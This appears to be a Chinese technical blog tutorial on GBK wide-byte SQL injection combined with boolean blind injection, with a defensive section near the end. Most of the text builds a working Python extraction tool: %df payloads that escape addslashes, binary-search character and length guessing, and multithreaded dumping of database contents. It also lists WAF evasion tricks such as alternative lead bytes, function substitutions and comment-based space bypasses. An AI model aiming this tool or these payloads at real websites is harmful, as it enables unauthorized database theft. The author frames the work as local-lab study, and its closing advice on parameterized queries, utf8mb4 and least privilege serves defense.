1. 从一条SQL注入链路说起:为什么宽字节和布尔盲注要放在一起讲
很多做Web安全入门的朋友,第一次接触SQL注入时都是从联合查询注入(Union-Based)开始的,因为回显直观、报错清晰,一个order by就能把字段数摸出来。但真实环境里,你遇到的情况往往是:页面不回显数据、不报错、甚至连布尔状态都不明显。这时候就得靠布尔盲注一点点把数据"问"出来。而宽字节注入则是另一类场景——目标站点用了GBK之类的多字节编码,开发者加了addslashes或者mysql_real_escape_string做转义,你以为单引号被干掉了,结果一个%df就把转义符"吃掉"了。
把这两个技术点放在一起讲,是因为它们经常在实战中组合出现:目标站是GBK编码,转义函数把单引号变成了\',你用宽字节把反斜杠吃掉,注入点重新打开;但页面又不回显,于是只能走布尔盲注的路子,一个字符一个字符地猜。这条链路走通一次,你对SQL注入的理解会上一个台阶。
这篇文章我会用Python把整条链路实现一遍,包括Payload构造、布尔条件判断、二分法加速、多线程优化这几个核心环节。所有代码都是本地搭建的模拟环境里跑通的,不涉及任何真实目标。适合已经懂一点SQL注入基础、想往自动化方向走的朋友,也适合想搞清楚"盲注脚本到底怎么写的"的开发者。看完你至少能自己写一个能跑的盲注工具,而不是只会用现成的。
提示:本文所有演示均在本地自建的模拟靶场环境中进行,目的是理解注入原理与防御思路。请勿将技术用于任何未授权的测试。
2. 宽字节注入的原理拆解:一个%df是怎么吃掉反斜杠的
2.1 转义函数到底做了什么
先搞清楚防御方的手段。PHP里最常见的转义是addslashes(),它会在单引号'、双引号"、反斜杠\、NULL字符前面加一个反斜杠。比如你提交id=1',经过转义后变成id=1\',拼进SQL里就是:
SELECT * FROM users WHERE id = '1\''这样单引号就被"关"在字符串里了,注入失败。mysql_real_escape_string()也是类似逻辑,只不过它会考虑当前连接的字符集。
关键点在于:转义函数是按字节操作的,它并不知道多字节编码的边界在哪里。这就是宽字节注入的突破口。
2.2 GBK编码的"贪吃"特性
GBK是双字节编码,一个汉字占两个字节,第一个字节的范围是0x81-0xFE,第二个字节范围是0x40-0xFE(去掉0x7F)。当MySQL使用GBK字符集时,它会按双字节去解析字符串。
现在假设我们提交的payload是%df',经过addslashes转义后,'前面被加了\(0x5C),于是字节序列变成:
%df 0x5C 0x27MySQL在GBK模式下读取时,看到0xdf在0x81-0xFE范围内,就认为它是一个双字节字符的首字节,于是把后面的0x5C当作第二个字节一起吃掉,组合成一个GBK汉字。剩下的0x27(单引号)就"裸露"出来了,成功闭合字符串。
这就是宽字节注入的核心:用一个非法或合法的多字节首字节,把转义符反斜杠"吞"进一个多字节字符里。
2.3 为什么是%df而不是别的
理论上0x81-0xFE范围内、且与0x5C组合后仍是合法GBK字符的字节都可以。%df之所以经典,是因为0xdf5c在GBK里对应一个真实存在的汉字,兼容性好,不容易因为编码校验被拦。实际测试中%81、%82等也可以,但有些会被WAF规则命中,%df相对"低调"。
这里有个容易踩的坑:宽字节注入的前提是数据库连接字符集为GBK或GB2312等双字节编码。如果目标是UTF-8,%df和0x5C不会组合成一个字符,注入就失败了。所以第一步永远是判断字符集,而不是上来就怼payload。
2.4 判断字符集的实操方法
我一般用两个手段交叉验证:
- 看HTTP响应头:
Content-Type: text/html; charset=gbk,这是最直接的信号,但页面编码不等于数据库连接编码,只能作为参考。 - 用
%df'测试:提交id=1%df',如果页面报SQL语法错误(比如You have an error in your SQL syntax),说明单引号成功逃逸,字符集大概率是GBK;如果页面正常或者报"非法字符",那可能是UTF-8。
还有一种更稳的方法:提交id=1%df' and 1=1-- -和id=1%df' and 1=2-- -,看两次响应是否有差异。有差异说明注入点成立,可以继续往下走。
3. 布尔盲注的判定逻辑:没有回显时怎么"问"出数据
3.1 布尔盲注的本质是"二十问"
布尔盲注说白了就是玩"二十问"游戏。页面不会告诉你数据是什么,但会对你的每个条件返回"真"或"假"两种状态。你通过构造and条件,把"数据是什么"这个问题拆解成一系列"是/否"问题,逐个字符、逐个比特地逼近答案。
比如要猜数据库名第一个字符,你可以问:
and ascii(substr(database(),1,1)) > 100页面正常返回,说明第一个字符的ASCII码大于100;页面异常,说明小于等于100。这样一次就能砍掉一半的可能性,这就是二分法的威力。
3.2 判定"真"和"假"的三种信号
布尔盲注最难的不是构造payload,而是准确识别页面状态。常见的判定信号有三类:
| 信号类型 | 表现 | 可靠性 | 适用场景 |
|---|---|---|---|
| 内容差异 | 真时显示"用户存在",假时显示"用户不存在" | 高 | 有明确文案反馈 |
| 长度差异 | 真时页面长度5000,假时4800 | 中 | 内容动态但结构稳定 |
| 状态码差异 | 真时200,假时500或302 | 高 | 有错误处理或跳转 |
我个人的经验是:优先用内容差异,其次用长度差异,状态码差异作为兜底。因为内容差异最稳定,长度差异容易受动态内容(比如时间戳、随机广告)干扰,状态码差异则可能被中间件统一处理掉。
3.3 二分法为什么比线性快这么多
假设要猜一个字符的ASCII码,范围是0-127。
- 线性遍历:从0试到127,平均要试64次,最坏128次。
- 二分法:每次砍一半,
log2(128) = 7次就能确定。
一个数据库名假设8个字符,线性要512次请求,二分只要56次。如果再加上多线程,速度差距是数量级的。这就是为什么所有正经的盲注脚本都用二分法。
二分法的核心逻辑是维护一个low和high区间,每次取中点mid,问"字符ASCII是否大于mid",根据答案收缩区间,直到low == high。
3.4 盲注中必须处理的边界问题
实际写脚本时,有几个边界必须处理:
- 字符集范围:ASCII可打印字符是32-126,但数据库名可能包含下划线、数字、字母,实际范围可以缩到
[48, 122],进一步减少请求次数。 - 字符串长度:得先猜长度,用
length(database()) > n二分,或者直接遍历1-20。 - 结束条件:当
substr返回空字符串时说明字符串结束,但二分法不好判断空,通常先确定长度再逐字符猜。 - 网络抖动:偶尔一次请求超时不能当作"假",要加重试机制,否则会猜错字符。
4. 用Python把整条链路串起来:从Payload构造到自动化脚本
4.1 整体架构设计
我写的这个脚本分四层:
- 请求层:负责发送HTTP请求,处理重试、超时、编码。
- 判定层:根据响应内容/长度判断布尔真假。
- 注入层:构造宽字节payload,封装二分法猜字符、猜长度。
- 调度层:多线程并发猜多个位置的字符。
这样分层的好处是:换目标只需要改请求层和判定层,注入逻辑不用动;想加时间盲注,只需要在判定层加一个基于延迟的判断。
4.2 请求层:用requests还是原生socket
大部分情况用requests就够了,它处理了连接池、编码、重定向。但有两个细节要注意:
- 关闭自动编码:
requests默认会根据响应头猜编码,可能把GBK页面猜成ISO-8859-1,导致中文乱码。我一般手动response.encoding = 'gbk'或者直接用response.content做字节比较。 - 禁用重定向:有些站点假条件会302跳转,如果
requests自动跟随,你就分不清真假了。设allow_redirects=False。
import requests def send_request(url, payload, timeout=10, retries=3): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml", } for i in range(retries): try: resp = requests.get(url + payload, headers=headers, timeout=timeout, allow_redirects=False) return resp except requests.RequestException: if i == retries - 1: raise return None4.3 判定层:怎么定义"真"
判定层是整个脚本的"眼睛"。我一般先跑一次基准请求,记录正常页面的长度和关键字符串,然后定义:
def is_true(resp, baseline): if resp is None: return False # 优先看状态码 if resp.status_code != 200: return False # 再看关键字符串 if baseline["keyword"] in resp.text: return True # 最后看长度差异 if abs(len(resp.content) - baseline["length"]) < 50: return True return False这里的baseline是提前用and 1=1和and 1=2两次请求标定出来的。标定这一步不能省,否则判定阈值全靠猜,脚本会一直猜错。
4.4 注入层:宽字节payload的拼接
宽字节payload的关键是把%df放在单引号前面,并且注意URL编码。假设原始注入点是id=1,那么:
id=1%df' and ascii(substr(database(),1,1))>64-- -在Python里拼接时,%df要作为字面量保留,不能让它被requests二次编码。我一般用params字典传参,让requests自己处理编码,但%df这种需要手动处理:
def build_payload(base, condition): # base 形如 "?id=1" # 宽字节部分手动拼接 return base + "%df' and " + condition + "-- -"注意-- -后面的空格不能省,MySQL的注释--要求后面跟空格或控制字符。
4.5 二分法猜字符的完整实现
def guess_char(url, base, position, baseline, low=32, high=126): while low < high: mid = (low + high) // 2 condition = f"ascii(substr(database(),{position},1))>{mid}" payload = build_payload(base, condition) resp = send_request(url, payload) if is_true(resp, baseline): low = mid + 1 else: high = mid return chr(low)这段代码的逻辑是:如果ascii > mid为真,说明目标字符在(mid, high]区间,low = mid + 1;否则在[low, mid]区间,high = mid。循环结束时low == high,就是答案。
4.6 猜长度的实现
长度猜法和字符类似,只是把substr换成length:
def guess_length(url, base, baseline, max_len=30): low, high = 1, max_len while low < high: mid = (low + high) // 2 condition = f"length(database())>{mid}" payload = build_payload(base, condition) resp = send_request(url, payload) if is_true(resp, baseline): low = mid + 1 else: high = mid return low4.7 多线程调度:把串行变并行
单线程猜一个8字符的库名,按每字符7次请求算,要56次请求,每次1秒就是将近1分钟。如果库名长一点、还要猜表名字段名,时间就爆炸了。多线程的思路是:先猜出长度,然后并发猜每个位置的字符,因为位置之间互不依赖。
from concurrent.futures import ThreadPoolExecutor def dump_string(url, base, baseline, length): result = [""] * length with ThreadPoolExecutor(max_workers=8) as executor: futures = { executor.submit(guess_char, url, base, i+1, baseline): i for i in range(length) } for future in futures: idx = futures[future] result[idx] = future.result() return "".join(result)max_workers不要设太大,8-16比较合适。设太大容易把目标打挂,也容易触发频率限制,反而更慢。
5. 实战调试记录:那些文档里不会写的坑
5.1 坑一:%df被WAF拦了怎么办
有些WAF会直接拦截%df这个特征。这时候可以换其他首字节,比如%81、%82、%bf,只要和0x5C组合后是合法GBK字符即可。我实测下来%bf比较稳,因为0xbf5c对应的汉字不常见,规则库覆盖少。
还有一种情况是WAF拦substr、ascii这些函数名。可以用等价函数替换:
| 原函数 | 替代方案 |
|---|---|
substr | mid、substring |
ascii | ord(配合hex) |
database() | schema_name(从information_schema查) |
| 空格 | /**/、%09、%0a |
5.2 坑二:二分法猜出来的字符是错的
这种情况90%是判定层不稳定。可能的原因:
- 页面有动态内容(时间戳、随机token),导致长度判定失效。解决办法是改用关键字符串判定,或者多次请求取众数。
- 网络抖动导致某次请求超时,被当成"假"。解决办法是加重试,超时后重发而不是直接返回False。
- 目标有频率限制,连续请求被限流返回错误页。解决办法是加延时,或者降低并发。
我的经验是:每猜出一个字符,用线性验证一次。比如二分猜出是a,再发一次ascii(substr(...,1,1))=97确认,虽然多一次请求,但能避免整串数据错位。
5.3 坑三:多线程下结果错位
多线程猜字符时,如果result列表的索引和线程提交顺序没对应好,结果就会错位。上面代码里用futures字典把future映射到索引,就是为了解决这个问题。千万不要用executor.map直接返回,因为map保证顺序但会阻塞,失去并发的意义;也不要用列表append,因为线程完成顺序不确定。
5.4 坑四:-- -注释在某些环境失效
MySQL的--注释要求后面跟空格,但有些环境(比如某些ORM拼接)会把空格吃掉。这时候可以用#代替,但#在URL里要编码成%23。或者用/* */包裹,兼容性最好。
5.5 常见问题速查表
| 现象 | 可能原因 | 排查方向 |
|---|---|---|
| 所有条件都返回假 | 判定层阈值不对 | 重新标定baseline |
| 所有条件都返回真 | 注入点没闭合 | 检查%df是否生效 |
| 猜出的字符乱码 | 编码问题 | 确认数据库字符集 |
| 脚本跑一半卡住 | 目标限流 | 加延时、降并发 |
| 长度猜不准 | 动态内容干扰 | 改用关键字符串判定 |
5.6 一个提速小技巧:预判字符集
数据库名、表名、字段名通常只包含a-z、0-9、_,ASCII范围是[48, 122]。把二分区间从[32, 126]缩到[48, 122],每次能少1-2次请求。别小看这点,猜100个字符就是100-200次请求的差距。
更进一步,如果知道目标命名规范(比如全小写字母加下划线),可以先把区间缩到[95, 122],速度还能再快。这个技巧在猜表名、字段名时特别有用。
6. 防御视角:怎么让宽字节和盲注都失效
写注入脚本的目的是理解原理,最终还是要落到防御上。从防御方角度看,宽字节注入和布尔盲注的根源都是用户输入被当成了SQL代码的一部分。
6.1 根治方案:参数化查询
参数化查询(Prepared Statement)是唯一能从根本上解决SQL注入的方法。它的原理是把SQL语句的结构和参数分开传输,数据库先编译好语句结构,参数后填充,参数永远被当作数据而不是代码。这样无论你提交%df'还是' or 1=1-- -,都只是普通字符串,不会改变SQL语义。
# 错误做法:字符串拼接 cursor.execute("SELECT * FROM users WHERE id = '%s'" % user_id) # 正确做法:参数化 cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))6.2 字符集统一:别用GBK
如果业务允许,数据库连接字符集统一用utf8mb4。UTF-8是多字节编码,但它的首字节和后续字节有严格的位模式(首字节110xxxxx、1110xxxx等),0x5C不会和前面的字节组合成合法字符,宽字节注入自然失效。
如果历史原因必须用GBK,那就要确保连接字符集、数据库字符集、表字符集三者一致,并且用set names gbk显式设置,避免MySQL用默认字符集解析。
6.3 最小权限:让注入即使成功也拿不到东西
给Web应用的数据库账号只授予必要的权限:
- 只给
SELECT、INSERT、UPDATE、DELETE,不给DROP、FILE、EXECUTE。 - 限制只能访问业务库,不能访问
information_schema(虽然MySQL默认能访问,但可以通过视图隔离)。 - 禁用
LOAD_FILE、INTO OUTFILE等高危函数。
这样即使注入成功,攻击者能拿到的信息也有限。
6.4 盲注的额外防御:让真假难辨
布尔盲注依赖真假状态的差异。防御方可以:
- 统一响应:无论查询成功失败,都返回相同的页面和状态码,只在前端用JS区分。
- 加随机延时:每次请求随机延迟0-500ms,干扰基于时间的判断。
- 限制请求频率:同一IP短时间内大量相似请求直接封禁。
这些手段不能根治,但能大幅提高盲注的成本,让攻击者知难而退。
7. 我个人的一些实操体会
这套脚本我在本地模拟环境里反复调了大概两周,最大的感受是:盲注脚本的难点从来不是payload构造,而是判定层的稳定性。payload网上到处都是,但每个目标的响应特征都不一样,判定层必须针对目标定制。我见过太多人拿着现成脚本直接怼,结果因为判定不准,猜出来的数据全是错的,还以为是payload有问题。
另一个体会是二分法的边界处理。low和high的初始值、循环条件low < high还是low <= high、mid的取整方式,这些细节稍微错一点,结果就偏了。我建议先用一个已知答案的本地环境验证脚本,比如猜一个固定的字符串,确认二分逻辑没问题,再上真实目标。
最后说个心态问题:盲注是个体力活,一个字符7次请求,猜一个库名可能就要几百次请求。别指望有什么"一键拖库"的神器,那些工具底层也是这么一次次问出来的。理解了这个过程,你再看那些自动化工具,就知道它们每一步在干什么,出了问题也知道从哪排查。这比会用工具本身重要得多。